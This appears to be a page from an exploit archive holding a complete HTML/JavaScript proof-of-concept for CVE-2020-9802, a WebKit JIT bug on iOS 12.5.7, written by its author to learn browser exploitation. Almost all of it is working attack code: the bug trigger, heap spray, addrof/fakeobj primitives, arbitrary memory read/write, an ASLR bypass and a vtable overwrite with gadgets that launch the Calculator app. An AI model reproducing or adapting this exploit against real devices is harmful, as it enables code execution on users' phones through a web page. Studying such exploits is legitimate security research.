4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.html HTML
<!-- 

    exploit for CVE-2020-9802

    original writeup -> https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html


    This is an exploit for a JIT bug that i wanted to implement myself to learn about browser exploitation
    on iOS. There's nothing new here, but maybe it'll be useful to you.

    - this implementation is built specifically for iPod7,1 iOS 12.5.7, and uses hard-coded offsets
    - we get code execution by replacing a vtable pointer (no PAC on this device)
    - we jump to a short ROP chain to launch the calculator app

    - video walkthrough -> https://www.youtube.com/watch?v=o6mVgygo-hk&t=34s

    thanks,
    ~ @bellis1000
    zygosec.com

-->

<html>
    <head>
        <script>
            // Struct functions from https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/utils.js

            // Simplified version of the similarly named python module.
            let Struct = (function() {
                // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
                let buffer      = new ArrayBuffer(8);
                let byteView    = new Uint8Array(buffer);
                let uint32View  = new Uint32Array(buffer);
                let float64View = new Float64Array(buffer);

                return {
                    pack: function(type, value) {
                        let view = type;        // See below
                        view[0] = value;
                        return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
                    },

                    unpack: function(type, bytes) {
                        if (bytes.length !== type.BYTES_PER_ELEMENT)
                            throw Error("Invalid bytearray");

                        let view = type;        // See below
                        byteView.set(bytes);
                        return view[0];
                    },

                    // Available types.
                    int8:    byteView,
                    int32:   uint32View,
                    float64: float64View
                };
            })();

            // my own helpers
            function floatToHex(f) {
                const buffer = new ArrayBuffer(8); // 64-bit float
                const view = new DataView(buffer);
                view.setFloat64(0, f); // store the float at offset 0

                // Convert the 8 bytes to hex
                let hex = '';
                for (let i = 0; i < 8; i++) {
                    let byte = view.getUint8(i);
                    hex += byte.toString(16).padStart(2, '0');
                }

                return hex;
            }

            function hexToFloat(hex) {
                if (hex.length !== 16) {
                    log('[!] hex string does not have 16 chars');
                }

                const buffer = new ArrayBuffer(8);
                const view = new DataView(buffer);

                for (let i = 0; i < 8; i++) {
                    const byte = parseInt(hex.slice(i * 2, i * 2 + 2), 16);
                    view.setUint8(i, byte);
                }

                return view.getFloat64(0);
            }

            function floatToDecimal(f) {
                const buffer = new ArrayBuffer(8); // 64-bit float
                const view = new DataView(buffer);
                view.setFloat64(0, f); // store the float at offset 0

                let low = view.getUint32(0, false); // big endian: high part at offset 0
                let high = view.getUint32(4, false); // low part at offset 4

                return ((high << 32) | low);
            }

            function decimalToFloat(d) {
                const hexHigh = d & 0xffffffff; // high 32 bits
                const hexLow  = (d >> 32) & 0xffffffff; // low 32 bits

                // Create 8-byte buffer
                const buffer = new ArrayBuffer(8);
                const view = new DataView(buffer);

                // Write high and low 32 bits
                view.setUint32(0, hexLow, false); // big endian: high part at offset 0
                view.setUint32(4, hexHigh,  false); // low part at offset 4

                // Read as float64
                const float = view.getFloat64(0, false);
                return float;
            }

            function subtractFromFloat64Bits(floatVal, offset) {
                const buffer = new ArrayBuffer(8); // 8 bytes for Float64
                const view = new DataView(buffer);

                // Store the float into the buffer (little-endian)
                view.setFloat64(0, floatVal, true);

                // Get low and high 32-bit words
                let low = view.getUint32(0, true);   // lower 4 bytes
                let high = view.getUint32(4, true);  // upper 4 bytes

                // Subtract offset from low word
                if (low < offset) {
                    // Borrow from high
                    high -= 1;
                    low = (0x100000000 + low) - offset;
                } else {
                    low -= offset;
                }

                // Wrap to 32-bit unsigned integers
                low = low >>> 0;
                high = high >>> 0;

                // Write back the modified words
                view.setUint32(0, low, true);
                view.setUint32(4, high, true);

                // Read the modified float
                return view.getFloat64(0, true);
            }

            function addToFloat64Bits(floatVal, offset) {
                const buffer = new ArrayBuffer(8); // 8 bytes for Float64
                const view = new DataView(buffer);

                // Store the float into the buffer
                view.setFloat64(0, floatVal, true); // little-endian

                // Get low and high 32-bit words
                let low = view.getUint32(0, true);  // lower 4 bytes
                let high = view.getUint32(4, true); // upper 4 bytes

                // Add offset to low word
                low += offset;

                // Handle overflow into high word
                if (low > 0xFFFFFFFF) {
                    low = low >>> 0; // force 32-bit wraparound
                    high += 1;
                }

                // Write back the modified words
                view.setUint32(0, low, true);
                view.setUint32(4, high, true);

                // Read the modified float
                return view.getFloat64(0, true);
            }

            function log(string) {
                document.getElementById('status').innerHTML += '<p style="margin: 0; font-family: Menlo; word-break: break-all; font-size: 30px; text-align: left">' + string + '</p>';
            }


            // the actual exploit
            const ITERATIONS = 1000000;  

            // this is the bug trigger: CVE-2020-9802
            function hax(arr, n) {
                n &= 0xffffffff;  

                if (n < -1) {

                    let v = (-n)&0xffffffff;  
                    let i = Math.abs(n);

                    if (i < arr.length) {
                        if (i & 0x80000000) {
                            i += -0x7ffffff9;
                        }
                        if (i > 0) {
                            arr[i] = 1.04380972981885e-310;
                        }
                    }
                }
            } 

            function prep_primitives() {
                let noCoW = 13.37;

                // Fill any existing holes in the heap.
                let spray = [];
                for (let i = 0; i < 10000; i++) {
                    let arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
                    spray.push(arr);
                }

                let target = [noCoW, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7];
                let float_arr = [noCoW, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7];

                let obj_arr = [{}, {}, {}, {}, {}, {}, {}];

                for (let i = 0; i < ITERATIONS; i++) {  
                    let isLastIteration = i == ITERATIONS - 1;  
                    let n = -(i % 10);  
                    if (isLastIteration) {  
                        n = -2147483648;  
                    }  
                    hax(target, n);  
                }  

                log('[+] float_arr JSArray len is 0x' + float_arr.length.toString(16));

                // (OOB) index into float_arr that overlaps with the first element    
                // of obj_arr.
                const OVERLAP_IDX = 8;

                function addrof(obj) {
                    obj_arr[0] = obj;
                    return float_arr[OVERLAP_IDX];
                }

                function fakeobj(addr) {
                    float_arr[OVERLAP_IDX] = addr;
                    return obj_arr[0];
                }

                log('[+] addrof target is 0x' + floatToHex(addrof(target)));
                log('[+] addrof float_arr is 0x' + floatToHex(addrof(float_arr)));
                log('[+] addrof obj_arr is 0x' + floatToHex(addrof(obj_arr)));
                log('[+] addrof hax is 0x' + floatToHex(addrof(hax)));

                return [addrof, fakeobj];
            }


            function poc() {

                let [addrof, fakeobj] = prep_primitives();
               
                // Create a legit, non-CoW float array to copy a JSCell header from.
                let float_arr = [Math.random(), 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];

                // Now fake a JSArray whose butterfly points to an unboxed double JSArray.
                let jscell_header = new Uint8Array(
                    [
                        0x0, 0x10, 0x0, 0x0, // structure id
                        0x7, // m_indexingType (ArrayWithDouble)
                        0x23, 0x8, 0x1,
                    ]
                );

                let container = {
                    jscell_header: Struct.unpack(Struct.float64, jscell_header),
                    butterfly: float_arr, // backing storage points to a real JSArray
                };

                let container_addr = addrof(container);
                log('[+] container_addr is 0x' + floatToHex(container_addr));

                let float_arr_addr = addToFloat64Bits(container_addr, 0x10);
                log('[+] float_arr member is 0x' + floatToHex(float_arr_addr));

                // now fake an object from our container
                let fake_arr = fakeobj(float_arr_addr);
                log('[+] addrof fake_arr 0x' + floatToHex(addrof(fake_arr)));


                // Can now simply read a legitimate JSCell header and use it.
                // However, the op_get_by_val will cache the last seen structure id
                // and use that e.g. during GC. To avoid crashing at that point,
                // // we simply execute the op_get_by_val twice.
                let legit_arr = float_arr;
                let results = [];
                for (let i = 0; i < 2; i++) {
                    let a = i == 0 ? fake_arr : legit_arr;
                    results.push(a[0]);
                }

                // read an index quickly, bypassing structure id requirement in this case
                jscell_header = fake_arr[0]; // fake_arr[0] reads the first 64-bits from the float_arr object
                // this gives us a valid structure id for future use
                log('[+] leaked struct id 0x' + floatToHex(jscell_header));
                container.jscell_header = jscell_header; // we assign those bits to our fake container, now it has a valid structure id

                log('[+] r/w primitives established');

                // arb r/w functions, thanks @saelo
                let controller = fake_arr;
                let memarr = float_arr;

                function read64(addr) {
                    let oldval = controller[1];

                    let value;
                    let i = 0;
                    do {
                        controller[1] = addr;
                        value = memarr[i];

                        addr = subtractFromFloat64Bits(addr, 8);
                        i+=1;
                    } while (value === undefined);

                    controller[1] = oldval;

                    return value;
                }

                function write64(addr, data) {
                    let oldval = controller[1];
                    let value;
                    let i = 0;
                    do {
                        controller[1] = addr;
                        value = memarr[i];
                        addr = subtractFromFloat64Bits(addr, 8);
                        i+=1;
                    } while (value === undefined);
                    // set the value 
                    memarr[i-1] = data;
                    controller[1] = oldval;
                }


                // aslr bypass
                let funcAddr = addrof(Math.exp);
                log('[+] Math.exp is @ 0x' + floatToHex(funcAddr));

                let executableAddr = read64(addToFloat64Bits(funcAddr, 24));
                log("[+] Executable instance @ 0x" + floatToHex(executableAddr));

                let textPtr = read64(addToFloat64Bits(executableAddr, 56));
                log("[+] textPtr @ 0x" + floatToHex(textPtr));

                let jsc_base = subtractFromFloat64Bits(textPtr, 0xA49660); // to get to JSC base
                log("[+] jsc_base @ 0x" + floatToHex(jsc_base));

                let STATIC_JSC_BASE = 0x18805d000; // static iPod 6 iOS 12.4.7
                let aslr_slide = subtractFromFloat64Bits(jsc_base, STATIC_JSC_BASE);
                log("[+] dyld aslr slide is 0x" + floatToHex(aslr_slide));


                // prepare code execution
                // this div element is backed by a WebCore C++ object 
                // which we'll later abuse
                let div_object = document.createElement('div');
                log('[+] created div'); 

                let div_addr = addrof(div_object);
                log('[+] div_object @ 0x' + floatToHex(div_addr));
                let next_addr = read64(addToFloat64Bits(div_addr, 0x18)); // the `this` object that the vtable method gets called on
                log('[+] cpp object is @ 0x' + floatToHex(next_addr)); // WebCore::HTMLDivElement cpp object
                var vtab_addr = read64(next_addr); // WebCore`vtable for WebCore::HTMLDivElement
                log('[+] vtab_addr is @ 0x' + floatToHex(vtab_addr));


                // prep some JOP stuff
                let gadget_2 = 0x1898A3AC4;
                // WebCore:__text:00000001898A3AC4                 LDR             X0, [X0,#0x10]
                // WebCore:__text:00000001898A3AC8                 ADRL            X8, __ZN3PAL49softLinkCoreMediaCMSampleBufferGetTotalSampleSizeE ; PAL::softLinkCoreMediaCMSampleBufferGetTotalSampleSize
                // WebCore:__text:00000001898A3AD0                 LDR             X1, [X8] ; PAL::initCoreMediaCMSampleBufferGetTotalSampleSize(opaqueCMSampleBuffer *)
                // WebCore:__text:00000001898A3AD0                                         ; PAL::softLinkCoreMediaCMSampleBufferGetTotalSampleSize
                // WebCore:__text:00000001898A3AD4                 BR              X1
                let slid_gadget_2 = addToFloat64Bits(hexToFloat(gadget_2.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
                log('[+] slid_gadget_2 @ 0x' + floatToHex(slid_gadget_2));

                let webcore_data = 0x1B7AA4BD0;
                let slid_webcore_data = addToFloat64Bits(hexToFloat(webcore_data.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
                

                // we want to call SBSLaunchApplicationWithIdentifer, which opens an app of our choosing
                //
                // there's a nice gadget in the shared cache that nulls the 2nd arg and jumps to it
                //
                // (you also need entitlement com.apple.springboard.launchapplications for this to work, so of course i cheated
                // a slight bit and gave it to the WebContent process lol. but who cares, this project was about learning
                // browser exploitation for me, not about executing a real postexp / chaining anything)

                // thanks to ProjectZero -> https://googleprojectzero.blogspot.com/2020/12/an-ios-zero-click-radio-proximity.html
                //
                // CommunicationsSetupUI:__text:000000019B60E498                 MOV             W1, #0
                // CommunicationsSetupUI:__text:000000019B60E49C                 BL              0x197B37AE8
                let tramp_sblaunchapp = 0x19B60E498;
                let slid_tramp_sblaunchapp = addToFloat64Bits(hexToFloat(tramp_sblaunchapp.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
                write64(slid_webcore_data, slid_tramp_sblaunchapp);

                // there's already a nice cfstring with the calculator bundle id in dyld shared cache
                // no need to construct our own
                //
                // CoreFoundation:__cfstring:00000001B03C7838 cfstr_ComAppleCalcul __CFString <_OBJC_CLASS_$___NSCFConstantString, 0x7C8, \
                let static_calc = 0x1B03C7838;
                let calculator_str = addToFloat64Bits(hexToFloat(static_calc.toString(16).padStart(16, '0')), floatToDecimal(aslr_slide));
                
                write64(addToFloat64Bits(next_addr, 0x10), calculator_str);
                write64(addToFloat64Bits(vtab_addr, 0x18), slid_gadget_2);
                write64(addToFloat64Bits(vtab_addr, 0x20),  slid_gadget_2);
                write64(addToFloat64Bits(vtab_addr, 0x28), decimalToFloat(0x4444444444));
                write64(addToFloat64Bits(vtab_addr, 0x30), decimalToFloat(0x4545454545));  
                write64(addToFloat64Bits(vtab_addr, 0x38), decimalToFloat(0x4646464646));
                write64(addToFloat64Bits(vtab_addr, 0x40),  decimalToFloat(0x4747477474));

                // trigger pc control, invoking a vtable method on WebCore::HTMLDivElement
                // (comment out this line to see the logs in the browser)
                div_object.addEventListener("click", function(){ }); 
            }
        </script>
    </head>
    <body>
        <center>
            <br></br>
            <button style="background:none; border: none; font-size: 100px; text-decoration: none; font-family: Helvetica" onclick="poc()">do exploit</button>

            <br></br>
            <br></br>

            <div id="status">

            </div>
           
        </center>
    </body>
</html>